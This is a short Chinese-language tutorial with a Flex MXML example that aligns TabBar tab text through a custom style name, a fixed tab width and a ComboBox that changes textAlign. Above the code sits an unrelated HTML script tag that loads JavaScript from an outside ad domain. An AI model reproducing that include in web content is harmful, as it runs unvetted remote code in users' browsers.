Flex中如何通过tabStyleName, tabWidth和textAlign样式，设置TabBar控件内文本对齐方式

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

 main.mxml

1. <?xml version="1.0" encoding="utf-8"?>
2. <mx:Application name="TabBar_tabStyleName_textAlign_test"
3.         xmlns:mx="http://www.adobe.com/2006/mxml"
4.         layout="vertical"
5.         verticalAlign="middle"
6.         backgroundColor="white">
7.  
8.     <mx:Style>
9.         .customTabStyleName {
10.             textAlign: center;
11.         }
12.     </mx:Style>
13.  
14.     <mx:Script>
15.         <![CDATA[
16.             import mx.events.ListEvent;
17.  
18.             private function comboBox_change(evt:ListEvent):void {
19.                 var cssObj:CSSStyleDeclaration = StyleManager.getStyleDeclaration(".customTabStyleName");
20.                 cssObj.setStyle("textAlign", comboBox.selectedItem.label);
21.             }
22.         ]]>
23.     </mx:Script>
24.  
25.     <mx:Array id="comboBoxDP">
26.         <mx:Object label="left" />
27.         <mx:Object label="center" />
28.         <mx:Object label="right" />
29.     </mx:Array>
30.  
31.     <mx:Array id="tabBarDP">
32.         <mx:Object label="Red" />
33.         <mx:Object label="Orange" />
34.         <mx:Object label="Yellow" />
35.         <mx:Object label="Green" />
36.         <mx:Object label="Blue" />
37.     </mx:Array>
38.  
39.     <mx:ApplicationControlBar dock="true">
40.         <mx:Form styleName="plain">
41.             <mx:FormItem label="textAlign:">
42.                 <mx:ComboBox id="comboBox"
43.                         dataProvider="{comboBoxDP}"
44.                         selectedIndex="1"
45.                         change="comboBox_change(event);" />
46.             </mx:FormItem>
47.         </mx:Form>
48.     </mx:ApplicationControlBar>
49.  
50.     <mx:TabBar id="tabBar"
51.             dataProvider="{tabBarDP}"
52.             tabWidth="120"
53.             tabStyleName="customTabStyleName" />
54.  
55. </mx:Application>